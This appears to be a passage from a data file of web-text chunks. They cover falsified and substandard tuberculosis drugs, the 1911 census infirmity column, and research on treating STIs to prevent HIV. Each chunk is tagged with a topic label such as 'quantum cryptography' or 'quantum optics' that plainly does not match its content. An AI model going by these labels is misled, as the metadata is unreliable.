samples collected from the private sector in two indian cities, it was found that respectively 12 % and 9 % of samples failed either thin - layer chromatography ( tlc ) or a disintegration test, making them substandard. 13 the present study analyzes the quality of anti - tuberculosis drugs in the private sector in 17 low - and middle - income countries, and explores whether substandard and falsified drugs may be exacerbating the problem of drug resistance. treatment packs of two first - line anti - tuberculosis drugs ( n = 713 ) on the who model list of essential medicines, 14 rmp and inh, were collected from 19 cities in 17 low - and middle - income countries. following the methodology of previous studies, local nationals posing as customers purchased drugs from private sector pharmacies in middle - income areas of each city, selecting pharmacies on fi rst sight during an undirected walk within a single neighbourhood. 8, 15, 16 such an approach is referred to as convenience sampling, with an attempt to reduce bias in the selection of pharmacies from which drugs were procured. the covert shoppers were not informed about the purpose of the collection. as the pharmacists selling the products were taking part in normal business practice, ethical review was not required for the study. all samples were monotherapies purchased without a prescription. the purchased drugs were stored at ambient temperature with low humidity and no sunlight until testing. tests were completed within 40 days of sample collection. the minilab\u00ae ( global pharma health fund, giessen, germany ) was used to run semi - quantitative tlc on each sample to determine the presence and relative concentration of the active pharmaceutical ingredient ( api ), and whether it met internationally acceptable standards. in previous studies, tlc testing using the minilab protocol yielded broadly similar results to high - performance liquid chromatography when", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5199845662600653, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.090788"} {"text": "to determine the presence and relative concentration of the active pharmaceutical ingredient ( api ), and whether it met internationally acceptable standards. in previous studies, tlc testing using the minilab protocol yielded broadly similar results to high - performance liquid chromatography when used to analyze pharmaceuticals. 17 laserson et al. showed that tlc is an effective method of detecting substandard anti - tuberculosis drugs. 10 the minilab protocols award products a ' pass ' for tlc if > 80 % of the api is present as mentioned on the label. disintegration tests were conducted to see if samples disintegrated in water at 37\u00b0c in < 30 min. products were labeled ' failures ' if they did not pass the most basic requirements of api concentration and solubility. in other words, even products that passed may have been of poor quality. each drug brand was checked against the official list of authorized products in the country in which it was procured. non - registered drugs are not necessarily inferior, but they are illegal, as they are not authorized to be sold in that country. test results were broken down by registration status once testing was complete to eliminate potential bias. failing products that contained at least 10 % of api were recorded, as, in the absence of data, the authors estimated that these products were likely to contribute to drug resistance. for the purpose of this study, ' falsified ' is defined as drugs that appeared to be deliberately and fraudulently mislabeled with regard to identity. whereas the term ' counterfeit ' has traditionally been used for this purpose, ' falsified ' reflects the latest terminology, as ' counterfeit ' is now more often used to refer specifically to products that display evidence of trademark infringement. 18 samples that appeared to be poorly manufactured or degraded were considered substandard. the table shows the number of failures by drug type and registration status. registered drugs were those that were authorized by the relevant drug regulatory authority in the country in which the drug was sold. overall, 9. 1 % ( 65 / 713 ) of the drugs sampled failed basic quality control tests. the failure rate was 16. 6 % in africa, 10. 1 % in india and 3. 9 % in other middle - income countries. the failure rate was 28. 6 % for non - registered products and 4. 4 % for registered products. however, even registered products exhibited some quality problems in all of the regions studied. the higher failure rate in africa may be explained by the fact that fewer products are registered", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5297264733462141, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.091950"} {"text": ". 6 % for non - registered products and 4. 4 % for registered products. however, even registered products exhibited some quality problems in all of the regions studied. the higher failure rate in africa may be explained by the fact that fewer products are registered in africa ; consequently, more failures are caused by the greater number of illicit products on the market. africa also has the highest percentage of failing products with non - trivial amounts of api ( 70. 4 % ), compared to 51. 9 % in india and 27. 3 % in other middle - income countries. these products are most likely to be degraded or poorly manufactured ( substandard ) rather than falsified. of the 25 properly registered ' failures ', 11 ( 44 % ) appeared to be falsified, as they either contained no api or had suspect packaging. of the non - registered product failures, 7 / 40 ( 17. 5 % ) appeared to be falsified. this figure is conservative, as other products with low levels of api ( but > 0 % ) may also have been falsified. as dissolution testing was not conducted in this study, these figures may in fact underestimate the problem, particularly for rmp, which often exhibits solubility problems when poorly manufactured. 19 it is not always possible to discern why a drug fails quality control. none of the ' failures ' had too much api. in addition to poorly formulated drugs, some of the under - dosed products may have been properly manufactured but lost api due to degradation in poor storage conditions. although it is impossible to be certain, it is likely that 44 % of the properly registered ' failures ' were falsified, as they contained no active ingredient or had suspect packaging. while product packaging was visually inspected for correctness, comparison with reference samples was not always feasible, as attempts to collect such samples from manufacturers were unsuccessful \u2014 some manufacturers will only share information with large customers and regulators. an additional 17. 5 % of non - registered ' failures ' appeared to be falsified for the same reasons, and others with low levels of api may also have been falsified. these products can cause physical harm to patients and economic damage to the companies whose products they imitate. even if they contain no active ingredient, they can cause increased resistance to the other drugs with which they are taken in combination. most of the ' failures ' were not properly registered. by and large, even poor quality, non - registered products were made by legitimate manufacturers \u2014 which were often licensed in at least", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4879504711044065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.093173"} {"text": "increased resistance to the other drugs with which they are taken in combination. most of the ' failures ' were not properly registered. by and large, even poor quality, non - registered products were made by legitimate manufacturers \u2014 which were often licensed in at least one country. medicines produced by legitimate manufacturers with insufficient api or improper solubility constituted a proportionately larger share of drug failures than falsified samples. while these drugs may work in some cases, the insufficient api dose may prevent patients ' chances of cure and contribute to drug resistance. these results are limited to the private sector and did not include samples procured from national tb programs. while tb is typically viewed as a public health issue, wells et al. showed that large numbers of patients seek treatment for tb in the private sector. 20 moreover, if drug resistance spreads as a result of poor quality anti - tuberculosis drugs in the private sector, both public and private sector patients will suffer. there is a need for the who to conduct larger studies to determine the full extent of the availability of substandard and counterfeit anti - tuberculosis drugs and to provide clear, consistent and useful defi nitions of each of the above terms. seear et al. ' s definition for counterfeit drugs includes only those drugs with 0 % api, 21 which is too narrow, as some counterfeit manufacturers fake versions of drugs through a ' second shift ' at what are otherwise legitimate manufacturing sites, with some \u2014 but intentionally insufficient \u2014 levels of api. 22 lessons from the malaria community the malaria community started paying attention to the dangers of falsified and substandard drugs in the 1990s, and the tb community needs to catch up. substandard or falsified antimalarial drugs may indirectly cause the death of a child within 48 h of disease onset. 23 however, this tragic fact means that strains of malaria have less time and fewer opportunities to develop resistance. as tb is less acutely fatal than malaria, patients taking under - dosed anti - tuberculosis drugs may temporarily feel better, but if the drug does not eliminate the bacilli, resistance may develop. this may also extend the required treatment time, increasing both the cost of treatment and the risk of developing resistance. in 2011, physicians in mumbai made headlines when they reported multiple cases of tb for which they could identify no successful medicinal treatment. 24 as the drugs used to treat mdr / xdr - tb are more expensive and less effective than the first - line drugs, 25 it is vital to preserve the efficacy of first - line treatment.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5089595616890596, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.094203"} {"text": "which they could identify no successful medicinal treatment. 24 as the drugs used to treat mdr / xdr - tb are more expensive and less effective than the first - line drugs, 25 it is vital to preserve the efficacy of first - line treatment. we also need new anti - tuberculosis drugs that will reduce treatment duration and provide alternative treatments for patients with drug - resistant tb. a significantly shortened treatment regimen would reduce the risk of developing drug resistance. 26 the government of india pays close attention to ensuring that low - cost anti - tuberculosis drugs can be accessed by the poor, both in india and throughout the developing world. this is indeed important ; treatment interruptions due to the inability to pay for drugs may be as damaging as providing patients with underdosed drugs, and may equally contribute to drug resistance. these two problems are not antagonistic to each other ; they must be tackled simultaneously with all means available. expanding access to anti - tuberculosis drugs without addressing quality concerns could create a massive drug resistance crisis. increasing resistance will cause a small increase in patient deaths in the short term, but will be extremely deadly and costly to patients, and increase costs and complications for health providers alike in the long run. in this preliminary analysis, 9. 1 % ( 65 / 713 ) of the inh and rmp samples tested failed quality control tests. approximately half of these failing products ( 36 / 65, 55. 4 % ), or 5 % of the total, had api > 0 %, making them likely to contribute to drug resistance. the tb community needs to pay greater attention to preventing the proliferation of falsified and substandard anti - tuberculosis drugs. governments \u2014 especially those with high tb burdens \u2014 should improve the regulators ' capacity to remove drug manufacturers that repeatedly fail quality control testing from government tenders, and they should use law enforcement mechanisms, such as interpol ' s medical product counterfeiting and pharmaceutical crime unit, to disrupt the illicit trade in falsified drugs. curbing the manufacture and availability of falsified and substandard anti - tuberculosis drugs is necessary both to protect the public health and to safeguard the efficacy of existing drugs \u2014 above all the cheap, effective firstline drugs.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4886884289141996, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.095261"} {"text": "editor \u2019 s note : we haven \u2019 t normally been posting these news releases on the afhs blog but this was just too good to pass up. enjoy! the final, missing column of data from the 1911 census, which details individuals \u2019 infirmities is today released for the very first time at www. findmypast. co. uk and www. 1911census. co. uk, the family history websites which first launched the 1911 census three years ago in 2009 in association with the national archives. the infirmity column details wide - ranging descriptions of peoples \u2019 health conditions as perceived and hand - written by the head of the household on the night of sunday 2 april 1911. under data protection regulations, this sensitive information has remained closed until now. a less \u2018 politically correct \u2019 society \u2018 lunatic \u2019, \u2018 imbecile \u2019 and \u2018 feeble - minded \u2019 are some of the most commonly used entries reflecting an era before such terminology was deemed unacceptable. the census in fact prompts the respondent to record if a person is \u2018 totally deaf \u2019, \u2018 deaf and dumb \u2019, \u2018 totally blind \u2019, \u2018 lunatic \u2019, \u2018 imbecile \u2019 or \u2018 feeble - minded. \u2019 5 most common \u2018 infermities \u2019 recorded in 1911 - deaf and dumb however, not all the entries are negative or insensitive. the 1911 records also reflect the humour and curious family dynamics from a century ago \u2013 not too dissimilar to what we know now in 2012. one extraordinary record details a mr john underwood from hastings recording his children as \u2018 quarrelsome \u2019, \u2018 stubborn \u2019, \u2018 greedy \u2019, \u2018 vain \u2019 and \u2018 noisy \u2019. he even records himself as \u2018 bad - tempered \u2019 and his wife as suffering from a \u2018 long tongue \u2019. another unusual entry is from thomas wallace young, who was described as being \u2018 bald and toothless \u2019, helping us picture exactly what he looked like. william robert arnold from yorkshire commented on his financial status in 1911 by recording his infirmity as being \u2018 short of cash \u2019. suffragette labels \u2018 voteless \u2019 as her infirmity the cause of the suffragettes is also illustrated within the new records, with some women listing their infirmities as not having the vote or not being enfranchised. for example, four women living in the same household recorded their infirmities as \u2018 voteless, therefore classed with idiots and children \u2019. infirmities? \u2018 none, thank god \u2019 some chose to make a note of their good health instead", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40642287341134614, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.100342"} {"text": ". for example, four women living in the same household recorded their infirmities as \u2018 voteless, therefore classed with idiots and children \u2019. infirmities? \u2018 none, thank god \u2019 some chose to make a note of their good health instead of the health problems the form enquired about, such as \u2018 well \u2019, \u2018 healthy \u2019, \u2018 sane \u2019, \u2018 alright \u2019 and even \u2018 perfect \u2019. evelyn baker and her family from leeds were recorded in the census by their father addiman parkin barker as simply being \u2018 alive \u2019. seventy - two entries simply say \u2018 none, thank god \u2019. 10 unusual infirmities in the records - bald and toothless - short of cash - bad tempered - long tongue connections between infirmity and profession a correlation between infirmity and occupation can also be identified in some cases. the biggest source of employment for blind men and women was basket - weaving. other trades for blind men were musicians or musical instrument makers. women who were \u2018 deaf and dumb \u2019 were often employed within the textile or garment trades, or in domestic service, while men were most likely to be labourers. debra chatfield, family historian at findmypast. co. uk, said : \u201c the infirmities column is the last piece of the jigsaw completing the 1911 census. this column alone provides a fascinating insight into life a hundred years ago. it not only reflects health conditions, but also a time before society became aware of political - correctness and certain terminology was deemed acceptable. in the more unusual entries we also get a wonderful sense of post - edwardian humour, society and family dynamics at this time. \u201c researching your family history is a fascinating way to learn about your ancestors. the 1911 census records include detail about occupations, housing arrangements and social status and you are also able to see a copy of the handwritten record itself. \u201d audrey collins, family history records specialist at the national archives, said : \u201c the information in the \u2018 infirmities \u2019 column being released today helps add an extra dimension to the picture of our ancestors \u2019 lives in 1911. we have to remember that the census returns were completed by relatives living in the same house who for the most part had no specialist medical knowledge. their descriptions provide us with a clue as to how each individual was viewed by other family members, although many would have been reluctant to admit that their relatives suffered from any defect. \u201d", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42337921551968793, "token_count": 488, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.101426"} {"text": "diagnosis and treatment of sexually transmitted infections i. definition of the prevention area sexually transmitted infections ( stis ) likely facilitate hiv transmission and acquisition. sti treatment efforts have been used as an hiv prevention approach with mixed outcomes. this prevention strategy may be most effective in settings with a high burden of stis and when targeted to most - at - risk populations and their sexual partners. however, randomized trials have found sti treatment to have little to no effect on hiv incidence. ii. epidemiological justification for the prevention area the role of stis in the transmission dynamics of hiv epidemics is paradoxical and complex. population - based studies have found that both the prevalence and incidence of hiv were substantially higher in people with stis. both curable stis and chronic infections such as herpes simplex virus type - 2 ( genital herpes ) can increase vulnerability to hiv infection by disrupting skin and mucosal barriers and / or by causing inflammation that brings hiv - susceptible immune cells to the genital tract. stis are biological markers for risky sexual behaviors, which are also risk factors for hiv acquisition. in addition, a number of studies in hiv serodiscordant couples report that hiv - positive individuals with herpes or genital ulcer disease are significantly more likely to transmit hiv to their partners. some stis appear to increase the risk of hiv transmission by boosting viral shedding in the genital secretions of both men and women who are hiv - positive. other studies of hiv - positive individuals on antiretroviral therapy suggest that stis may increase the infectiousness of hiv, even when an individual has an undetectable viral load. despite these data, numerous clinical trials have not been able to demonstrate a decline in hiv incidence as a result of sti treatment. some hypothesize that treated stis may still cause inflammation and other changes in the genital mucosa even after the initial symptoms have disappeared. the ongoing inflammation and changes in the genital mucosa may be why sti treatment does not have an effect on hiv incidence. epidemic stage, prevalence of viral versus bacterial stis, and type of treatment may also be reasons that sti treatment does not lower hiv incidence. iii. core programmatic components while sti treatment does not seem to have a significant impact on hiv incidence, effective management of stis is an essential public health activity and is particularly important for improved maternal and child health outcomes. data linking the prevalence of stis with increased risk of hiv transmission and acquisition", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4593148021432044, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.122798"} {"text": "does not seem to have a significant impact on hiv incidence, effective management of stis is an essential public health activity and is particularly important for improved maternal and child health outcomes. data linking the prevalence of stis with increased risk of hiv transmission and acquisition underscore the importance of sti prevention, which can best be achieved through a comprehensive sti control program. the u. s. president ' s emergency plan for aids relief ( pepfar ) supports sti control for hiv prevention depending on epidemic type and population. in concentrated epidemics, the population focus should be on most - at - risk populations, individuals with symptomatic stis, hiv - positive persons with high - risk behaviors, and other groups that may be at high risk for sti acquisition. in generalized epidemics, pepfar supports sti control programs for high - risk subpopulations, including most - at - risk populations, individuals with symptomatic stis, hiv - positive persons, and sexually active adolescents. pepfar also supports hiv testing and counseling services for sti patients. a 2009 review of sti control and hiv prevention in the bulletin of the world health organization concluded that the core elements of a comprehensive sti control program should include : - reaching out to populations at greatest risk, particularly those who change partners frequently, potentially propelling transmission within the population - promoting safer sex through the provision of condoms and other prevention activities - offering effective clinical interventions ( including sti screening, treatment, and case management ) - initiating structural interventions to ensure an environment that supports safer sex behavior and care - and treatment - seeking behaviors - collecting reliable data to monitor disease trends and the effectiveness of interventions. iv. current status of implementation experience research is ongoing to better understand how stis modify hiv transmission. the development of improved screening strategies to detect some asymptomatic stis in resource - limited settings remains a research priority. currently, sti treatment as a stand - alone hiv prevention intervention in generalized epidemics is not supported by scientific data. sti control for hiv prevention depends on the type of hiv epidemic and the populations at highest risk. a number of resource - limited countries, including cambodia, kenya, senegal, sri lanka, and thailand, have demonstrated that it is feasible for programs to expand sti control services. several countries that have successfully controlled stis have also reported stabilization or reversal of their hiv epidemics. for instance, in india, the avahan initiative reported a reduction in sti and hiv incidence after it included the improved delivery of sti", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43653301026361324, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.124039"} {"text": "services. several countries that have successfully controlled stis have also reported stabilization or reversal of their hiv epidemics. for instance, in india, the avahan initiative reported a reduction in sti and hiv incidence after it included the improved delivery of sti management to most - at - risk groups as part of its comprehensive prevention interventions. thailand ' s 100 % condom program appears to have contributed to both sti reduction and hiv prevention by requiring condom use in brothels. sti screening, management, and treatment are key components of the pepfar comprehensive package of services for most - at - risk populations. the review examines the role that sexually transmitted infections ( stis ) play in people living with hiv and how the co - infections of stis and hiv play on the prevention potential of antiretroviral therapy ( art ) in limiting hiv transmission rates. the search includes studies that report on stis in people living with hiv and were published from 2000 to 2010. it also only includes stis that demonstrate hiv shedding in the genital tract such as syphilis, chancroid, and gonorrhea. thirty - seven studies are presented in the review, and it was found that the overall mean point prevalence of sti co - infection was 16. 3 percent. the most common stis co - infections were syphilis, gonorrhea, chlamydia, and trichomoniasis. the highest prevalence of sti / hiv co - infections were in people newly diagnosed with hiv, but sti co - infections take place throughout the course of hiv infection and not only when first diagnosed. for example, the average sti / hiv co - infections was 14 percent. people taking art also were diagnosed with sti co - infections to a high degree, and there was not a significant difference of co - infections between hiv - positive individuals who were or were not on art. the review points to limitations to forecast data on the overall effect of art for prevention programs on reducing transmission rates in hiv epidemics. they often do not include the effect of sti co - infections in the models, which would reduce the successfulness of those results. sti co - infections should be included in future models and forecast when considering art as a prevention strategy. treatment of curable sexually transmitted infections ( stis ), a relatively inexpensive, simple, and effective intervention, should be promoted as an essential component of hiv control programs in communities with a high incidence of stis. the authors derived this from reviewing the observational studies and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47675621395365236, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.125044"} {"text": "sexually transmitted infections ( stis ), a relatively inexpensive, simple, and effective intervention, should be promoted as an essential component of hiv control programs in communities with a high incidence of stis. the authors derived this from reviewing the observational studies and nine randomized controlled trials ( rcts ) evaluating the impact of sti treatment interventions on hiv incidence. although only one of nine rcts has demonstrated an effect on hiv incidence, the authors conclude that issues in trial design and conduct - - including hiv epidemic phase, sti prevalence, and intervention in comparison groups - - affected several of the trials. the rcts examined three different management approaches to a broad spectrum of curable and incurable stis in varying populations, with different levels of risk behaviors and sti prevalence, in both concentrated and generalized hiv epidemic settings. four of the trials focused on population - level effects of sti treatments, with only one focusing on populations with high sti prevalence. three trials, focusing on herpes suppressive therapy, found that antivirals for herpes simplex virus suppression were insufficient to control the cofactor effect of herpes simplex virus type - 2 on hiv transmission. the authors advocate for future research examining the biological mechanisms responsible for the sti - hiv interactions, testing new sti control strategies that target these interactions, and developing point - of - care sti diagnostics and evaluation of alternative partners service approaches ( e. g., patient - delivered partner therapy ). this randomized, placebo - controlled clinical trial of acyclovir set out to determine whether or not the drug could reduce the transmission of hiv from partners co - infected with hiv and herpes simplex virus type - 2 ( hsv - 2 ) to their serodiscordant partners. the study was conducted among over 3, 400 serodiscordant couples in 14 sites in southern and eastern africa. although daily therapy with acyclovir reduced mean plasma concentrations of hiv and the occurrence of genital ulcers due to hsv - 2, it did not cut the risk of hiv transmission, the study found. however, it proved the feasibility of conducting trials among hiv serodiscordant couples. this study used confidential computerized interviews to ask people living with hiv about recent history of sexually transmitted infections ( stis ) as well as their sexual behaviors and infectiousness beliefs. it found that one in seven respondents had been diagnosed with an sti over a six - month period, most commonly herpes simplex virus and syphi", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4867652378932025, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.126016"} {"text": "of sexually transmitted infections ( stis ) as well as their sexual behaviors and infectiousness beliefs. it found that one in seven respondents had been diagnosed with an sti over a six - month period, most commonly herpes simplex virus and syphilis. there was a strong association between belief that viral load was undetectable and diagnosis with an sti. the authors advocate integration of sti diagnosis and treatment into routine clinical hiv care. it is also crucial to correct false beliefs about infectiousness and provide education about sti symptom recognition and the importance of early detection and aggressive treatment, they write. the joint united nations programme on hiv / aids mode of transmission model spreadsheet was used to assess the impact of various hiv prevention interventions based on data available from malawi, taking into account the country ' s high prevalence of partner concurrency and serodiscordancy. interventions in the model include increased condom use, more circumcisions, and converting all multiple concurrent partnerships into monogamous partnerships. the model showed that most new cases were among low - risk heterosexual groups ( i. e., those who were part of serodiscordant couples or those who had casual sex and their partners ). condom use by discordant couples, a monogamy policy such as uganda ' s zero grazing campaign, and abstinence were the most effective prevention measures ; improved treatment of sexually transmitted infections had only a limited effect. the prevalence and incidence of reproductive tract infections ( rtis ) and hiv over a five - year period and the relationship between rtis and hiv infection were examined in this study of more than 4, 400 women attending family planning clinics in zimbabwe and uganda. even though the women received regular counseling on risk reduction, screening, and treatment for rtis, the incidence of hiv and rtis did not diminish during the study period and almost all types of rti were associated with increased risk of hiv infection. the authors still conclude that aggressive efforts to control rtis may contribute significantly to hiv prevention and recommend continued efforts to find more effective treatments and interventions. this small study offers an explanation for why treating herpes simplex virus type - 2 ( hsv - 2 ) does not lead to a reduction in hiv acquisition even though infection with hsv - 2 is associated with increased risk of hiv infection. examining biopsies from eight subjects infected with hsv - 2, the authors found that below healed herpes lesions, there is profound localized inflammation that persists even after prolonged antiviral therapy. future", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5043620703453028, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.127061"} {"text": "is associated with increased risk of hiv infection. examining biopsies from eight subjects infected with hsv - 2, the authors found that below healed herpes lesions, there is profound localized inflammation that persists even after prolonged antiviral therapy. future interventions to break the association between hsv - 2 and hiv should strive to reduce this inflammation or lead to the development of a hsv - 2 vaccine, the authors conclude. this randomized, double - blind, placebo - controlled trial enrolled hiv - negative, herpes simplex virus type 2 ( hsv - 2 ) seropositive women in africa and men who have sex with men in peru and the united states. participants were given either acyclovir or placebo for 12 to 18 months. the primary endpoint was hiv acquisition, and the study showed that suppression of hsv - 2 infection did not lead to a reduction in incidence of hiv. this is disappointing, the authors comment, given that infection with hsv - 2 is associated with significantly higher risk of hiv acquisition. they recommend further studies re - examine this assumption derived from observational studies and whether higher doses of acyclovir or other antiviral drugs would yield better results. the commentary is in response to two randomized controlled trials that tested the effect of sti treatment on hiv acquisition, both published in volume 371 of the lancet in 2008. the first was conducted in tanzania and the other was multicenter ( hiv prevention trials network 039 ). both found no effect of herpes simplex virus type 2 suppression on hiv acquisition, a surprising result based on observational data. the authors provide plausible reasons on why this may have been found. diagnosis and treatment of stis is a public health responsibility ; however, they conclude that hiv prevention strategies may need to be revised based on these new findings. resources should be directed to strategies that are proven efficacious. the commentary is in response to the view expressed by gray and wawer ( in \" reassessing the hypothesis on sti control for hiv prevention, \" lancet 2008 ) that hiv prevention strategies should be adjusted based on the results from two randomized controlled trials showing no effect of sti control on hiv acquisition. the authors disagree with this view and support sexually transmitted infection control in hiv prevention founded on the results of modeling studies. reducing funds to sexually transmitted infection diagnosis, treatment, and control could have adverse and unexpected effects on the hiv epidemic and should not be relaxed. this study used a mathematical model to examine whether", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4788743584934623, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.130004"} {"text": "infection control in hiv prevention founded on the results of modeling studies. reducing funds to sexually transmitted infection diagnosis, treatment, and control could have adverse and unexpected effects on the hiv epidemic and should not be relaxed. this study used a mathematical model to examine whether or not interventions to treat sexually transmitted infections ( stis ) are cost - saving in populations with generalized hiv epidemics. the model was applied to the population characteristics of four cities in west africa and east africa, two with high hiv prevalence and two where prevalence was relatively low. it found that in settings where there is a generalized hiv epidemic, even though the proportion of hiv infections attributable to curable stis is likely to fall, interventions targeting these diseases are still highly cost - effective and potentially cost - saving, assuming stis have not been controlled by changes in risk behavior. this study compared the impact of three scenarios - - behavioral interventions with or without syndromic management of sexually transmitted infections and routine medical care - - on incidence of hiv in rural ugandan communities. awareness of herpes simplex virus type - 2 ( hsv - 2 ) symptoms improved in the behavioral intervention group and hsv - 2 incidence decreased in the group that also received syndromic sexually transmitted infection management. the study took reported condom use with the last casual partner as a proxy for high - risk sexual encounters and found that the behavioral interventions were associated with increased condom use. however, there was no measurable reduction in the incidence of hiv in any of the groups. this study looked at the impact of presumptive treatment of sexually transmitted infections on both hiv transmission and pregnancy outcome. the study randomized over 4, 000 pregnant women to either one presumptive treatment for sexually transmitted infections during pregnancy or vitamin and mineral supplements, with confidential notification and treatment referral for those diagnosed with syphilis during the study. the intervention resulted in less cervical and vaginal infections and fewer cases of infant ophthalmia, as well as significantly lower rates of low birth weight and neonatal mortality. however, there was no change in maternal hiv acquisition or in mother - to - child hiv transmission. this 2001 meta - analysis combined the best available evidence to date to examine the effect of sexually transmitted infections ( stis ) on hiv susceptibility. it found that many studies had been done in this area, but that a quantitative understanding of the interaction between the two was still lacking. although randomized controlled trials are the gold standard for proving causation, most studies on hiv and stis were observational.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4933168232897845, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.131118"} {"text": "many studies had been done in this area, but that a quantitative understanding of the interaction between the two was still lacking. although randomized controlled trials are the gold standard for proving causation, most studies on hiv and stis were observational. the authors recommend that future studies should strive to quantify the extent to which treating stis has an impact on hiv prevention. this study sought to test the hypothesis that controlling sexually transmitted infections ( stis ) at the population level would reduce the incidence of hiv, as had been found in the first clinical trial conducted in rural tanzania. the study was conducted in clusters of villages that encompassed social, and therefore sexual, networks in a rural district in southwestern uganda with high rates of both hiv and stis. the intervention group participants were given mass treatment with antibiotics while the control group participants were given vitamins and treatment for parasitic worms. although the prevalence and incidence of some stis significantly reduced in the intervention group versus the control group, there was no difference in hiv incidence. this was the first randomized controlled clinical trial to test the hypothesis that treating sexually transmitted infections ( stis ) would reduce hiv infection. the sti intervention program was conducted in 12 large communities and included setting up a reference clinic and laboratory, diagnosis and treatment training for existing staff, supplying drugs, and visits to villages served by each health facility to encourage people to seek prompt treatment for stis. the study found that in the intervention group, hiv incidence fell by more than two - fifths over two years, with the greatest impact among women aged 15 to 24 and men aged 25 to 34. subsequent clinical trials have not been able to replicate these results. this evaluation monitored the performance of avahan, the india aids initiative, using a supportive supervision tool to analyze outcomes from three perspectives : clinical, community, and management. the tool assessed the accessibility, acceptability, and contact coverage of sexually transmitted infection clinical services. it looked at barriers to access and monitored the quality of individual service components, including correct treatment, infection control, confidentiality, and counseling. monitoring demonstrated that avahan improved and sustained quality in terms of coverage, quality, technical support, community involvement, and networks of referrals. the monitoring tool provides timely and useful feedback but can be time - consuming and resource - intensive to implement. this study used biological and behavioral surveys to assess the impact of hiv prevention programs targeted at female sex workers, such as peer outreach and behavior change communication and provision of sexual health clinic services including syndromic and presumptive management of sexually transmitted", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48220200466627317, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.132264"} {"text": "implement. this study used biological and behavioral surveys to assess the impact of hiv prevention programs targeted at female sex workers, such as peer outreach and behavior change communication and provision of sexual health clinic services including syndromic and presumptive management of sexually transmitted infections ( stis ). by follow - up, almost all participants had been visited by a peer educator, at least three - quarters had visited a drop - in center or sexual health clinic, and two - thirds had received presumptive treatment for chlamydia and gonorrhea. rates of condom use with clients improved but were static with regular partners. the prevalence of hiv reduced significantly across the board, but for curable stis, only street - based female sex workers had a reduced prevalence at follow - up. rates of curable stis did not decrease for brothel - and home - based female sex workers. twenty - seven antiretroviral therapy programs in africa, asia, and south america were surveyed to determine the extent of preventive services they offered. the survey showed that prevention efforts in most programs focused on health education to change behavior, supply of male condoms, and prevention of mother - to - child transmission. other interventions ( e. g., protocols for partner notification and interventions for high - risk groups such as serodiscordant couples and adolescents ) were less common. few sites offered regular sexually transmitted infection screening. survey respondents cited stigma, lack of financial resources, and high patient load as the main obstacles to implementing preventive services within antiretroviral therapy programs. this paper argues that the \" fractured paradigm \" of hiv prevention separate from programs to tackle sexually transmitted infections ( stis ) is counterproductive for both, given that weak control of stis may undermine hiv prevention efforts. the paper reviews the components, benefits, and feasibility of sti control and offers an alternative, unified paradigm to tackle hiv together with other stis. a useful table lays out the epidemiological parameters for integrating hiv prevention and sti control, detailing which target groups and diseases should get priority in which settings and when sti interventions are most effective in preventing hiv transmission. in haiti, voluntary hiv counseling and testing became a gateway to providing comprehensive sexual and reproductive health services including condom use promotion, family planning, maternal child health services, and services specifically for young people and survivors of sexual violence. integration made sense because most hiv infections in haiti are transmitted sexually, mother - to - child transmission is common, and people living with hiv face stigma and discrimination in accessing", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.487582624986438, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, 